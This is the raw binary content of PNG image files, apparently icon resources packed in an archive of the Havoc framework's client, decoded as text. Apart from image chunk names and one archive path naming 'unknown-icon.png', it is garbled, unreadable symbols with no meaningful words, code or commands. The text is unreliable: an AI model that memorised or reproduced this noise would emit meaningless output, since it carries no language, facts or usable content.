96k$JYp͚Ṋ ]=#b5f%Ɏr=%EU[ 6Z]\v׏^%֦$Yԁ@֧H&5e' Uf$g##GI%p$cig٨ͲI1r%˙ c,ZE◕ab$vjEb)YLrj[ d'1 e֡"Cr=1 e@7BycsRzDzq̳#B2["S-)$I) *M:ŚIa1OvD1@E|i& ךVi/o,pV\YI2d&Y`fЃ̟NZv2,6ڜx)@S`$H,4l}bBX;" kK p%2 e.:RKI ȴ]Uzy]@ NfX}wdJKC2ev,(X,Id0t)A^i1& #~&dwS~9T1XSf 6 23]X_XH$Zn cYۦc#0 ]2A箁&;gp= PH*=IuIP>#a1a0!!VU%fe<^f$YAsKm0 IDATrdpdۉ9 Ӂȱ <<#YYvr6 H7M$cQ3_fb*K .ɌM_KBҸ ~nXK af+Ŵ[{[.Nf"?mM/T͛]}==.6sr?NP]lbWL#B~JJo5^ˆa*&#,pf ~r![J%C]06:\nFҦN&kX336Ha(#ieM0a8b0b!R-zLp\䲵\MldVc=rO^^Udu뗙 ,e|z{!Bs,ƢX0fmQЌT DŽIdWT8LP./Cyyd i.dׅ4fRIq9 f I6_+%CMF~5defwotuu={@0)>8OϽ܏=q݋g\%1 !VQTTVTV av MV sÖ&aovYI0*GUbmF5q jev`4NfΎf Ye3dQp, Ţ×@т1#hiC9J3dNfnܹ†Q2Ǽã1\ WMJmr,P{H˱vetqgȄ$[v?OWIA444hݻwoz|Dxݸxݻug55,B V/3^lLXKlP&H&% & N_[m]PVZZ%F6 *3B382կ؈̺ x50u&WP$r☝ P̎_; ҄S213,3%̔(yNJq],3Dz{ Pw ~iO\[o9RWdL6gniYvpD+׋Ȱ!̰<DRL0$7 MHKRjdo&|&Foר^;ZH#*U 'WTH8͓4A4Y +؎d$"scfϯܔ3ɤ1 njR-DWa-\țQ0t1c,KAbYnٺeJؿir6(2$X,XLg IlE j/%Ҏ*U)e2**۫*-$IcV3lBj# % %Ƥ"}݊c~+dĒaebl8OV-8ێO-Soٖ1d.,&UV"ʘe7e2G9@CX#S8IJy OvU@"$--rKf˚ '/ZD PL2~r|lhhAM1e˗h"b Qld!lYxY0 &aml~odɆ`LE4R8d&Ef' TpKd3eܗRd.N\2|NM֬ŽY2CqrɆJ@ٙ3W eD3Yԝs^Da%u::;443[,Cvvp;CTd8d5( -w3P&X{́4@3 Q՞jϨgnWzi7I ʵ"2͘$If23ƶ0b!ThTI![?$LSzŨ,C $HϣdEJY1N>=uY_Â6ٗs܎dVI-;$<ê aM<8fi.(C3(!&5X2 eZBKC#@"HcHQ*j*|r wL3 hj5Qj,b(UfxfWp[|?>t*#$\J;ӫd 2;>?,@`Ӊmj3ЊU WZz@ݹSޢZvUYQUUT<,C K̴K0-GCl$Yd`L,W!&WKטK[q۝ `Uߌra%c=8rh)RcbAN? #d+ǪP+ EE0ƶS.`S1Y~q?&b 3K9mJ/A*p1(@3#ɘep~ G s, zc øypnp:bE(v q^ F`GqmwF@&HuC  ^3\./zKhRtpi;@>p):%|EusծwK0^Su,<;0 [ [!v38 KJp8w= % l8Y[tСCdF H.PHvD2eg m|Oog0? G#)E ʝz Q r35k\|uuwu@h =#"]}\p<3;@iK#~U_;:5oᘋ~_;!N:Mu%uu9uuxH7<HV"'^ZɱD+@VZXCL+J.??Z܂t /ίL ~ئM dɺX!ˀf?STTēQxժU|\8^ս'?i\ѵ9nf.g1߃P0j. 3a/~3W{$`dnK#=&ppggϟAtu]{O7tG?U͸zȡڲl2lKc#cc4h==~tSn'~+j8V~K_WQ^}t?>G݌0I\{HqD={ﾻ,c@.?./^$/ߋ}{o c 3 boRQ{o" ϵk7o? R}8~ř)616ͪԒA<5sUHHG8NA<#JI##߿Ap0=nx@]z:ߩa e?vع/?{q-m#(v:Xaɇ=RJqKuUk6,ؔ8s926prɓO$޽_Q|%GĦxL%?x%@ ;=.Y:]p1wzN<}Rĩ?c~0N}7Stqcxm8s˗]7 Eܸ# s JفFJ]/^r u 8ODϗ_}%/Uϗ'3}dY ~ HO;b=}"c?20x;b|S(?r[B};H:l#@@21d} ȱ&_y '(&_dh@[iJ>OO)}㧎w~zx.!Z;{Zba4cE<~JI z8ȱ+1cthM_r)Mqb6-&2s1ٸ@h- /U? ]1x+Q 9 7n1leF7(Ew&cq&;{A~ #$cujL{d c(rl?1L` O78 87uZ,T\\E1Yٵ&@ C ]ϻǮ #+ O8 tm$CMe $K(M 3`fge%_t;}PȖg{R8d0@Ev#Oz`96jDMv^*!AcERҿR$If13ex)JGNSBW xQкBnv%uN—I!q'dPbp/R?.d؈p.c )N/·c1b%Y4 SwW.e[&S$+y`qʏ!<Hë7X1Hd[6ܽ7l#8܀Ld|$;-4 -$Vbf Uhvݒ7Fs eh?a(.H Ş3Ł;oeiqQRGz d4E^)qS1KA Q8%K_ȗG <%5njCTed"<^}G.Ri/H'H%5ٔd@vQw:!0i6j(jz6"[5OY"9X %HKYV%*80 "ZXja#kYak[c{03}m~#]6*vJ닛|`]9oDq;_~/͇%L7bg<'&*v715GFd j {k(ۏ XT YAڄ,JԪ3Κ}00]JmN^b(Fk%{ߗ3`';uSB6tV\f. IS2.,eɒ}Y}rSy6d9AFgVx (# 0.Zjꥏ/ ~عHL@*-1 yǨɛ땇R8+"-$%[S2'e?DΔV3Gg&'wC^{}g/ؔ}(J.y*{rdyW[Vmɮ39z7%"˔%!d~L;EF pZç("ʥ]W頛Xٌйn9&"& Ywύ&?Fci^0, ˑ=Ja>kMpϐ]*v@Za_0/HX؍N̴%;Jv]P$_to%}KY3ԃ委 V]~_Bf<4%Dƌ}qWy1_JDz]dRCݮS7R-v'`s| q0y뒈廳ߎSqRzay6(T~llЏsi1^u.j+[7#0huK6$%Ӆː%ǎly,Y~!sBKnȋGб]du0O\={,+3Cg:7M&T"6;doM3-ɏ]4~w|pv,[#cN+!;Ζ+ʑ;s5mtr_d-edaKtCKYvZccZXĮ9ngE$`-e$?OK._4.,s[ivwPr'8d;n~")7jS2%e&({d)ZGpk7f^cˣJ8<.LzΉ:>'k.)OKǹpoŅDzW=s9dK ׼^Jn]"Rl.`SS4*D)#uLi#OHXyXw*˥9#sxRƿ۲"J{Q_}2 /BRJ-٩+G#ؒ:ɾHĘkɾ6,psXR~#Ά'dڐfXnkRz,cz_fzfn+W5r3?NgT IA9Be&,9bs3g}?ұ@Hǖc ɹK]Dׯ=FtR( KZcF˜ђ?-#gZr_93D5S3%~Mfd#dfr^IBL#DiǴ]t6; 0Z!vS⿔覚 q㒖!GJzf(?u>;wl_ڋ\rO^`4A!f&t]{[wRe2=d΋%Kw*?\oɌX2:~ |a22c Pkvz|JʼnS4dJ>x0dz=讙F2H[,9a xJiHh IDAT XI=ܑ A!Lbýϒo;$cF̬wg4sA0]={nhr&zf=*,ٗb>y`)edL4 ~ GO NOfT1a)Śx;A53Atw{;Mv$wީ!?/~K`;2MzSP={l6ڱ2.hӧm+i :+3JJsn:ÖSd,Y\BZra$agɀ\mdDSh-ftN]^T= ؎T`|vڏ)Hh ¾DL%C/ٙ9fLK_R5,[ʌ%͛Wt2׀A2;G#z#D%#%E7[qYvK_w5cd.$k`# NN SE.1kǤ\itc%+ʰsdS h%y0rfRRcK"sӯ/Rl94trf\qvvہ(OFd3Dl/5b̭_!sa%;~zbɒnUEƿ|sO%hdnd4l[LS -kM/_#owؑ)q| ځ.e, `Y|@V-c/t)Ͱ=]J!/}BKKlI]9ʖ쬲dVnC=y*;7@"v{T]jJ1|ۨd?K% ާ%-qdzgSΑɕs;4YQLGaA n^Ze0yc*d֒Qd/niҩ_Ĝ`7g||0qY(30.QY2/ t`/K;`Ú!>_5J3Sh/|n*^ɲ}PV,ʍ s Q$.:vÇRV&Wi> D%U3J&W/Sl9Qr(~8VƋv<3Q1$`*$v֭nꠛB ŗg,:%ކS}>/[fVd3xIeM䫛OBy,K0sdJŦ']|uv`O ?Gc#> L% d7Vκea7P_$_lngnf5OXnݲ"F;9>](ٍ(,e~duYZb~켝~qv~~rfZ9^Ruzyk_FfQW1߉El)?TdleL.Λ)XG AU,:i.3d+R<{fhf*:~KD/z4QKٯ/%_ڀ]҃NiÌ ^_=癨Κީo.ݚ?/ױgGTKV#;_U<Rp7LJOYx)C.jvbb'ttoݾui_wvP2`P2`S`o+Rc%9ȏut W+rdBAd|udd,d|Iן"z$4Z;R~M)r`*|$FuYۯy=7 Sbrư+#O6Mtb sdɼzu3_#33iSKWQ>ڔ#Hff3<̇%>x/턺(^>>,!`xz;ʅMdeȃ=8>pZDtnLjuv̴];l~lNw$W4qCɴ?Iy\^<UongA$W^}N}R}/*s_0; ؐSsgɾWzW@lR2^~P/ Xd[h!Ej؋v5͋2zW65.{՛=5;fnl &0a J؄ *t"̘&Xc{3Y$XƐ} YיaJʌ%N2\{#C*)~OnFQǽr[h;XviY|S5dwƦf^U"7u3pR&JFl&lNEY}nx >ߒ}t@6yٓ]j-$hC22AzM'gfT'b!==q;lN9sY-$aaF{S M٠20B1JuPRdh dLܧt[z+eұKI Mgᴖ &qK{˺///oW$oPY)}%-?Kv*Ғ+%}-ݐFJ~pHig ڎ̼g)A{}c)} D0agg$ƕC~l'ǔr]rOU(*6C 5oY@d[KWCV0_?Sz)8xԾsn[S ?K/|R^h!ZX^3ko Domy뫙cnC,p6/[ݚW̛x/>u<ɀ=d vHkS.ʏqqNE1qGBݹQ2s<64;JfcZՐ9G~ __@RA ?(*,K^LbX2/K~9)tdl^La}~#FER9m"[%| duJr-ڒ}$BvM2eR&ZR Z@BuB[憼H.ny%vO~ 9fg_ Ch}oG%SN*\zɎ凟|e2}龍?*MR/H˴Y5EihE<&G12_,Iwr(I7I@rf]z=UcH q'c"QGtC+MVlؘqo?=C˟Dmq,˒IpɵK42ʌT-v861onN^BLz^uj_gt_Ʈ+CۃU2&$ے t)3y/S>[?;^ /-_7)bXkAS'èk9DD.st`qZPF캟bJ );8;f yj 92!"h::i2n'l.HmeF_:_)R.2NrMHdJɾ$%[暘V;~7"Kv*bb,Y1BfH#^~(Y2Y&q&W3<JgSW<sl9ҀzݗE0χY+&2v5;:̎#}B5mɼRE_]T]ӯ#EՆKJrY -%iɸCdړI2ښ#)c97ȟ _G}b F:41UOz̈́&CVMj}%;lhv&;j2[EM>%L lb3O(,ٙ3[fcK?미 Z2ɒ٥*\d,efta(- 22O7bf5n4/&7k!E͓qV0R:*f7ୖ1ȄCA!3]Ɠ)c5y'c7{)ywʾg%pi":z;?3],ٗdݺu9z8[nAKW&KK~׆>sv|IEpޚ/lw0wx,c!3 sd&epdLܧ!ɲL2Z7͕O7(~Z!$KPZiYه夌G?bfnDM3u,٧֒{b]K2Z2?MeJ̅? dz6kg#Z_ :qu9/4ˇ╏-c)SJFBv觟%2WGR/PpXqI;b)ddޗ=MG?DRf>"t u;|q:qQ/œ8-FFLfY7Vec>ȑ qHryôaQ2ֲJ,V4ZD$e, _O+NXʔp*)T %df4LY[xP,8ۆe1K~,r~,c9oN9; !s=]3wqݡw2\3yqMt)ىyVgf́iȁwMZ>ig\By><-:U/Ү?-"W91P<ǧ>&GU-g"'x K(\zu]{:潤KͲq?syWwW10mDIRGVژ[.|ȘkΣ-H q|ܼQ"S*F,,t!ۻ%^ rL&:NAwNDpO'"f/^ug.ݪd0n) d ||D7uDp{[*=z$qO>xWnzѣ3C'O^s;tEw̅JgNO>=Q+z6Gs.wG|>w;ٻys[\N潃Ž{|/ָ7n*$u(}ɣGv>>QVqH}Py$_HiqR3. +!NSp9pKm?}'P=/#zy ,'cCw3wG'? loG_ū3},ŭ?e#J[ ]>zc1G"C|UOEK?Tu;w& SB6=>7CxefL22zy҃L;Z^RVJ/hˡ_t߈ܡyI>|)w#5|F7ͽoCg˞~##zӇ܈a~mP/Q:(/cwBS6*T_TOD ):_dO凯>-}vyވ렎jC&:6H:6W22V,@ȈOC^o/;]Eʜd.t%4JLX.mH z򈞒Y&OlIC3]zJvDKacźnJxm8݊3^]?J{ڕ+e*"F.baHk K:TYI,n)}ݔv2|S0mDOh2F< }5%J6xR pf7z8 YdwyVV kQn%sSH[qitQr_EeB_)/F*D(w+׺1q']#ZjFOrt(V Y%IY0d%2)K6Ӓf^YPRZS.:ʄ,aA%Hysό-ք9#晱%JdqOو<@, ړq'k䐼c%a:e$!F`@ǬY!LrwRY2daKJ? ?E}mB:reIĖc:KFܭdɒMg[2t |wlXȴicF7m{?TJwg)vRDY $[F֤d IDAT ֒, pX IM,Ȓer %c!,YNK&u j1e}G,%?2a33^ơNO"5F@+*ZRN-,)'ȘCa/3@_deKX8?+m0m(;,K6yYAׁad}6K6J;^Wf^4G ~QE,Ni'^s4a\Lܧ07[#x!Kż\Ζ{+U#slJV s$pVSlVOdY˔đ}D|>pPPJ]2 ظoU߰DG&}ҋ',‡ymraC2<:ub֕\j%sd[LuN̍g2%;N}SJ (bɔI[\Go\߭*4(HYVj h4JʊW6 :$ht=Qo%.Œ E%O +)_Ls߉-Ӗan82nO g ̅,NPؒoɲ,VOI9(82&Ӱܵln)s}D:%Rd~?ɧ?[2ΒN$Y`xy-Yv}SgU_G`#=,!seM Xv]Tu=eƓV) l*zKeɺÖ,zKƍdы ]d6U'tyD̻ͲudH[f6$¥LIt,=.w{-ezVE=x UK!8]oP]%]]d ɒ][27cDd]&MV^<򳒏U G}Vꤓ.M ۯuQ0OB6Zreɦg5`~ Y㲼VSQO3TBaXq1~Ǿ.9j 9GQdsbKنb,˒ip!Zv!ziX4xZ _t}. gɺ[\dv>Y)/fٞSg P>זpȘ1iz}g`pw_ͽޒcB㲫]KxZAoPd> K -bTl bi~[-{]{d^l9~d$c+ϠAR<,)~oeT:Id|d% :mɺ-%#d9B& G}DUK.B\2*K:0\h9íS W<6ƒѶ+`dOkUyX"/bY23'nw;'llFs,Y<@iX*+V6 od+^)Nɒ$xGQ)=grΓӇUK!tVd!7) Pd> I!+O7 УbGY2e1dQ#2Xe`|/ T-CbɤtiLZ0tq#~dó딢-rdOCrW.ry(dc%F`]\l&œYC%Z> dƒKK6jK2+Vl6J6KȄOCe#/ ;c fd"dp5CʦdT-C(H tdb\l&o\eVflBAՒ4$'gDd\;ʒ%$!.0w.Sf`4lUyH^ϒYK6JBtl̵R+\jFVf5x#c> Io;Iؒrl9&n/:S%{$sKUK!8e*ȒIlҭۀA|2~+JbKɒq482Mܧ!yd%;UgĒ'r̫[Lr8bb 4eK8UB!xi2,hF%rL9Ivd7 {C,LpWe:{7_Z2qY2ǹ{ק-7Ŏqs-o]ow.kv-\ՃyH"~?%5l%zvu׻̘zC#0F*L rdLܧ!=-4KQC:A- 5`tvge I2!HRAO[>.9TR dE$ɤlKdI-M,V82&ӐLX3#-[^2e%3dn R.=#d*d3F*ed UK!PR)_ؑʥ-\r%ɦ3'`%[df&HZSE+č:̈ve+rG}J@k%<~qdJɊ$#pHiF,غ1_Ǭ+% T-CBCKY0tP-G$M%sI27Llzc" J4Pd> %ZKǖJ֑$#! [:G>`SzAj)}J# :%nЖ˖4`l`,nMM"fI92&ӐPv_vO$)c4gR`Lnmzbk?G`E5+Ƽ1 y1%d&IVhnnLۺ{5Db-V~<,j}/d)[Ñ$$_ %ͿĖ7u˱`#Yi$Y1%+2XXyH(Y9 cBI2/l2NNz% bK1ed 92&ӐPR!%VOI'ؒIdYݽ$sd}neq}dcEg!LZ q]K.uLbdSG`HlRlL[C^$ɊT,=!{!KpdLܧ!xVd6esI"L&K6ɡƑIC#+raaL[~UAR<$iK,]t$Ȇ3S+6!!G65:G*0BUB F@Ւ4$dɜ2L$/JLl9٘vdnC#l)2dpYj)}JVR;V2IQCK*[Sl:37QXhq;dNLCHxDl![abA4$ rI24`Pd99W[Ξ)e.L%dYG-x%+( B!;/x^Ot$_ͭd:d)ShБq,_R_],+iH(&2-sd/7R:pd"Ys+YB%T-CB irW)u~ϑQٲGͱ%)HF92HO/f)"IX VT-OCBu̬ _tIk$в[gG66Ɔ̋,I(EYXx}~(Yj)}JБ)7څxlTQB9; )~eFul5b Y<~ej( B/ȑ1q,\0ڀ$!?&9w~-ْ/\@r/Q>Nb^xAqj)}Llo)UKi,dN2X1qʑu̿0;)9.bF,9Nn.ZhFjI]Bq |P> %#KI/UQ7$6^ČXd܀AlL:#Җ,T;2IZ2qtdi2Ꝕ$G?fBK۲d2vdڑQhiRdRa?ʿ`Qj)}iB:AR2j$d溋-wwOIlr&G="ڑ-U>!YiH(o:C۸ΑВ#d$SB6)I2qdRS|fDl~GAR<$O5(Rd$d}dxR+EŖ=S#٠U˾+dEx#c> %Y)Ԉl:rdڑrҬP29t1Kcu僪yH&p.ʴ_:vDX82 -2Y792w}dYK-s\ Lܧ!aG]qd#A/9ѱ~%cʒGVT3Ȃ9.kD-d$h!eK]%X?xUlx9>TT(GFlt2-lImd0drdLܧ!Oވ1H8EƖ,S1ֱ#: s)d eRԄX3Z qd%d)[L#Zȑ ZGv ;t,]HȖjן ȘOC" nl\u~#|$ 2񢄬s;/LzLȤjN T-Z qD2nUKmFtd)IdȆɑR P~Bi[P'dKd?P:Pd> $% ~1qdE9aWGvhOrdz-,dKP24P>I$cfa@qdJǔŖEYgD8I^.7E˼BF[/'eB@4$ȚAiĤȎ8GfrdʑJ֩G;C6&FxKdȐ%T-C eVdR]#]#ٌd{ D]z%Y3NEK?&Y~![J :ȘOCEkt5dJfȑ*!+Eo5dve̟[P?z dIUK!@"K1숯d(2iYp^hY#[|pYܴ~P j}GD(2!\]#+91֯2ݥlŎBP>#BO52##%+$d # Yzwy5Kc(Cv\Orb.C2Խ<"PL;+ȓ7eVBB!Y3RAGf/!G6W,g"/NQ3gyE, d9]rcбiH!!KGl_ vdwh9#:vc #~4r̔,J22e_f۲$% T-CXn-Y͐#\~cSaɐ ⣁=%E32_-sj&n 4$x2=i$8Qѵ٬njLMI`oY-:`]CQ2 1X@R<$P_LY* ZB2]t]q2 VJrdv-@58D!#G&L/.Y\ǤvخT:v'3ddi#˸_+WB^ÕPO>GF5@ GJDɆ#ˌ YFO!`ZaeO^Xvǭ?ecװF%/9d,Xe))>ϡ ,'vw=MֆL*,Xr ~ X>)imqOؼe~ KhyOB12IJ8TB6gNwW,/pT,߬P,NimmqOXB\2fRd%gFEđ !#5M#$&\\I2v_υYܯ RdmkkغZY^ YJr}V,ȏ O*Ό%쑊X {w!A֭U$dOԶl^HSdc,df{td.4K25:/!Ubd6n)uv, t_hC&~1eH&Y28A6ЋFǼ׺6er1 E,n)#-;aPБ>g\ d!~^d1CȂʀ)g5 3IB&J'vdl(t&O~lwތy!I;ηv-d1Shk[}Hs 0kWO^[ұ/$XsJK?17L0-dЋ_P-]Ȕ!&!EF>Bn@Ǭ#R~lt9$?k: Y Cɒ JY[}H] 0r~]|ؤr*N~Lf^XcK9eɀU ,.d_5auO%zrvVulKCv ,AEJRM UY\“$׿@L^*Kdʏ)XR N*0h3dCvȥ B_Ł%K\*ZvuH[?96! ˈ!<]X^2X߈!Zq Ujq ,YȞ"F81m&igȔrdY A+,I =VM[DPiQ\1nȬ#~L:adwҦyT* 'Ȗ*d[wTe&R^D->}1!!˗ V2*YCv.+EA*emVNUc+OC- Ȕދ\dGCOnGF3au3dC$c}C6B2oY?; ұj2IÓ#PLSV-ِ)G6f{c\zfWP~l9C,BJc ѯ]].9.] ?9prz*wh)ƑqLٹ`Ҥȸf-Y?:R%mD3/V)'G d4T19jsㆮY^.^|ey).o"  R훴k[jѱ'jK鹜)h!cCF2WԆlě{!DXUw^!O!lh͸2O2i05l!=#K^Blc;ۚ"d]$kqdd᩹BF]d/y9GY2~J1^Tݍ4Q NFxln̛[v \hy:1aDTU36( \;didfL,y} $JyRd!d]#cKԱ]V=| 0"t,𦖲DiA&Ngro;VZzsF*wdq F؎-9Ͽul=$QYvq=Vv]䡊>02iel1c E]sJɐ)"h\rd%I:GFd_yI2vdT釅jRlZjWQ2@]]sfK(@#K&{> $S~#}q2kep7˸n3s{sϻ(@:ʔ! pd#[0~qdlwdwy`]~aVZ62*͎ajV'z}Al,MONN+K6>OvyNy,!dkǖ$dUje6k7A &b>ƑezWJ6`bKeđ 7 BJIJƪXQ55cWkI_m-bKrxr:w5m{C6g|X)U ֭ؒčUFKyNʕ_/di~8Ld-YrPok6d*N'Kvc[ٌmJĠc:ʕpWTpekl4x1>0ɟ~kΑ!>"[<3x7lVy2 ~1j)¤lR'}ŸHF~#p7#,ٰd.Gv?׿_[V2b bTlFHIe-ϵPrz.+dgORK\EJlɺ{o꺥-]h7f'r# *=L84Ly16c WbC Ի$Gv5[Ojj% _y?t3|R%w^Ƕ׶-%b;wRDYXAj)gF`Οc+;:~xoP~K;va޹7;mNb۽r$kθReCmsb3bh14#/X(xsB gZ^}W~zOysdkzTJ'ֱwF__?ɿoZ7 6}*^ڦZNǭ IvD7}Xh~_|uJ͞~_~W^;oj}wK~[d_񓟴lx^|G/5?ղĉHDk{[s'_.ҢZKT\>|@"#V"ur| kj44Yɧ^")۰ٟ+|o_ܽM%d~g?c;G/O>ܶuU@qJF4އouu0a`+Xǚlz꥗cʓ=~w~U Ig9dʑ[zu^Um}1dT)C0H'd2[C-=B ?ٹMW-OTQ&`PٸR Ym O'ϓuJMGֲɏUYl/&`PhCf=ڈ d*To!kko=xĖ$.ۋ $dlX,`ʞw围Jֽs.]~ &`,]s]N(QF_ye7Udh 9 /œe2.N /֟~tl;IMEu0HΔ=Q[X2%ddw m.,e DY`dƕ/6lXaoȪ3D"x2-e6To'ֵ* d$:?Sfs2r=˿2dΐ[m/L aڥd,bm /<Ӳy,OhGVmK5[#@Γ7e=uo_vbF@0Ke> 2'f-[5Uz!ard_0>nz RB @0m2^uŶMyQ~l/0H$uk˜+ؼs#O' VS $.IĬy;7_PPY1 0H"^?Y]'fN˚6h律@PYz $KZ]5oj(_&äYSږOܻw'[JQY4`T'cUJֲcփ޽uSh y+eYSmԭr9xO Km) &ְ5mDLd'`}:Kë]}C-wZ!#BL ҕ 0H4ΔIw5(j7bJcbDI0$ e"̆'Zvn똕 ղ&`tlkڛ`!dP#,)ۏ m){B|I-;vm옍,+;,IȨ0H4*r˦6nnR:Ѐ@ DSmG+n T%kni+WV܏ 'dm|ֲꖘ@u/!.X`J[ ȨAWdhkhٱkHR-Hр@/.$`)SЀ@uA/2$F„'`P5ԶܕeIa0` rd(V:Jj HP=m(- LhEܚ$0 䋸5iI&d[0jaM37_$ ~Z|@Jm-MqདྷX8@uPOq Ғ)mƦ6AbkDI24`P$fI,a-۱J *65K[|Z[$Jܿw#[P $:O^PȐ븵J[8N~W ն%9ϔ4'uSK-+ho(c[smܧP՟|!Cw?杛!cJo LgȒhҕuK˓Ȓ\ k(5K$0deݏ,I==dfoloE dR j0dd7c8ɤ%V\6R  $ROEJKFAHk8ɧU y4 {L؈~GCmbwE%bHcU+*-2D}msˎ ,Rf A44%y\ӇJȣK2Fygq*в}7(L#%%?Pp,OYe@ҁhqtD{jy[v«)ok1!%Xʃyߦ=Jm@sm>Cj, Xr/ t#5!sV.vI%WC| Q4=yPDzCkXSIYDB?/_GDпop߰WO_W=5L. ׺:`$5J[!:PBi( < W!9Xee{O [X}%P5¡hg #^{1z[Sk"I!k+o:P*Xqn`sa*IENDB`havoc-0.6~git20240910.69ce17c/client/data/resources/unknown-icon.png000066400000000000000000000450341467014221700246310ustar00rootroot00000000000000PNG  IHDR =PLTEGpL߿ÏVXXVYYUXXŽxyx@AA@BBABB™UXX^__@BB@BBJMMTWWTXXNQQMPPKMM@BBJKKUXXKMM@BBVYYVYY?BB?AA^^^SUUVYYUXX@BBľGJJVYYUYYACC@BBøVYY®tusŽPSS‘­©LNN½§œIKKĽVYY@BBMMM /00IKKgji#$$688KKKü***ACCGHHHHH EFFQTTTWWJJJORQCDD--- ===???%&&122455qqoILL888:::...!!!LOO򰯪곲+,,GJK=CI!(/cedzzx wtRNSY꪿3 :X$7I*_-T@ {xEaրaХ&KqˆUm|y2M̙NN7o~[6$1WB O/ҋg& Zcg<X}Z{?1vKWwϟ 쿇z覛ow^3;+;{ٲkU%bw y?H̤e.ucvͲٹYkaL?9sW\~g]~>묿/ר>[,>]zLN":wŲZumgsōGTlgkďjRSiןsuu5OaFWӚ5M:7ݱʝM>`uKsgv2;%Is[=5k.ItYj刐Xߵ9Ӻ4n6l;+g̚4]tiĜ2.\q,)iٳ-[iͬ˕mw_1B;-{G4}޹"7bYl{8F d柫]žQY٥2l|]uܔZ_zKܴJtD\zWEdLferSl"coI%LCd.uM\;e~71@;+`X"wbYYug>Y^KYSLVe Y{B_^ӱ)`Uqg^q/gU DHMf/-y4ZwȨ}w_ ([žt?kc+HqKVN쎻e̜ln;C@ɑnsEfLn?,2DQե<qKoϲ"IJ٥(}L"fBs;WX?%e]sW1 9/{d?y5/.cVq~ ,Blmǀh]\sZLwiB%/J muMw`ﻛ.9wN&0wq[l/=BNF^ 5MZn7] jj6^\uCwY{l]~΍lFzdk.8>kcť]5m}rz<QSFF!kuW.[K5^0ruWG؊Ko%`7XlU7]BwvBpwsw`yo ?p5\V=0N`l&yS\ێ`.[u7G/l Xe.يnB蟚7L&dwٶK쾳/L?`ypwFVXu,vύ5G@b;Kfշdzr:3dqj6QtMbsW,? ݿ悫~Bg~dWavl٪0PW^2^sx]0PNQ'8f5!Bgj6G[ica0Ԧ??Vٳ{` j5kإg *TwY~W* rb7-Ub5KTAN5Ymg2P5݀q9 *Б5)s= %W:Q%vS:_8jys0U]*[V̺⬠!ٴ7xdzB=smTSR- e 2c7umhmii)2/Z놮g{J(dF27\׫Zuխ2/Z{wY֦7)d–溶biekhhkn)|#k.@wtf{J,.{?W¢mzIƫoed̝NptG!{oC=zJVHq ,@jj[8No,H651@+)Y(;dmmy%yC!{;SUJ?M @U{I!2BhW!  U@j}̯[ ]`d2@T! bC VF`T)!  .N>F2;d2  d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d dq+/jh(--uPUS d-X!JnĪ6K}/؇ghJK, dqW e0 {j+ZR,3# Bf'Yֽ{abVXRV, d6qRJ#^KSIݿD|!N:*eB!;k\}),oKѲ!dYI׵:{_̪;ۙE!xN2]IYeӱ , dfs⺖nYug)B&ќT]ge#۲fRL2%;Ӻʦ)ӌ Bf,BcD4Nʴ"dʉZT(Q_)Y dFrKv4jHFL29 {7F$cEr2m dquX&e2AȌ,[Ʋ*&eZ2A ۣ6둨<ȩ2 dfqVn֩ԗS#d%yVwN#d$'h=8L2s8 EvYy\ez2AȌtD(iTtP"d)ItQVL2C$כ16ҍ Bfo(!oOe9%KB& Re?)ݿg BfTs2Wu9%KB&Y똬.)Yz2A"dA!:S̎:2A"Ω3l=ݔ,  dіl3Iq?|LHs: XQ.CG!V;&o+R2AȢ,]|DKC2A",mT2lLr=l BYN7A>,.D!1[:&Kݿ6#dEނ'*Y\ BINC529'C!xE+*}c!dEspU~h dQ*jB&\r]lX dYr=뙒 BA)/9d!dESgV})Y8 dSe߄̝m`JB&Y8d~LA!xY&ip,Lq:}9We}SWgkKɱZZ7t6Vצ#iMkD!dא%j6Jœ=R [*nYek02A"ioBV[YQw>'j+o e.@!dY8DmSIwGjw-2A"%#̂0^\>w LHjR[ʖO :6I!,Jj٫;vxV6ɔ#dEIR7G껃t#ޭd9!,JR*QcR2JQ B% Qt/S]rF!Gh)>dL5B&Y$OV)X5>[I2 doQDW(ImRrL)V}񍊾#lWM2AȢiSv6F/=Op$V5B&YtS1ՠAxo\9B&Yt$M~*-,)Y+j#dEG\)/)S#-#dEӠjj?TءG E㰉cj?WԦrJV-#dEӭ补ZU*J2 dDG&n׶@!ǃ튏j9m ֖@!bE+&/YOKO&p B J_H2!,2]FیNLG!R5 ՟op:}R)ѩpLPµ)uwJt2!,2}A%U^֨lLV&P,{r Y/2A"C=ס|Hgx Bjͮˑ³!| B{ĢQI=5!| BJ6¸թS32 dѪ$da<՝e_5B&YdtYHV2_(F!F%!+ #dN%'#dEFaBppw-U#dEFsʕ}D _pjLpGSy $02Apz.urbL2^S]ublC!i9>ǝ2ApZNb+؆ BrՅF!i%5u؆ BӪRwuQW_m d8goF1B&NGqآDI(/g2B&NJ'{BVʫ Bpԝ"+&d2ApcVEa|%2Aќ5_@R5B&>ZRםR^!}.2A*Ee,#dԜF+>Wd!B&NX²;|#d>,*JeL=B&N%YWcE|=82Ap 7ȊtlD!9 j7Ȋj9B&NXuNJXY BzM=xa<L2L\=T ! ':h⋖ dCw,qe( d D}NJ'L2|ѪzU˄,$L2_`s Y8 dxx{SK0lH d8Sܬ61! ! q:J(IY Bw%ۺXV2LL2BsU2AqCXb BɎNzP1DL2P>ΩvCD!,+sFvD!ÛU&B&YsXQ Y dI/8.B&YfsXQE; p2A2Z"rn !,9P3Vhm!,s%;ZBsA:B&YrÞճA>B&Yr:ZsUA>B&YFrr^MJB&Y&r6ޱcl!,9U!]{:L̓l {ohmciA!80_X'KB&YIwX2A2Su,CұciC!(NCI:VX2A2XQkNs1 d ~u-/Z BfW5 dI YAݿ!>!k s2Ao ݿ!>?ɛ d'4d|w L2cd d'0dcL2 BfT{k9oB&}RACVFA!Oƀ!㛖&!d٧8M|y$L2B!OU$d d٧8G*9 d!d BfBQ d!d BfBQ d!d Bfxk72s2A,W#dF#dF#dF#dF#dF#dF#dF#dF#dF#dF#dF#dF#dF#dF#dF#dF#dF#dF#dF#dF#dF#dF#dF#dF#dF#de&nB&Ypdm}]wwYYw{Ҏ8=3!,3+oj=bccgIY[U B xCwWueч%* @G!k?YŎ#δTL29UݝՉSf̛5w0+3!nN`ש'c'I dVK=l]u)Rf B&ŜTsS3&(y drJ#d 1Wu;S2c2A* 4+dL2ěw%d dY %+aL2T]XcJfB&ev2wJY>!d)R2!+*,&[a{ IDAT #2A\F d٥Qф)  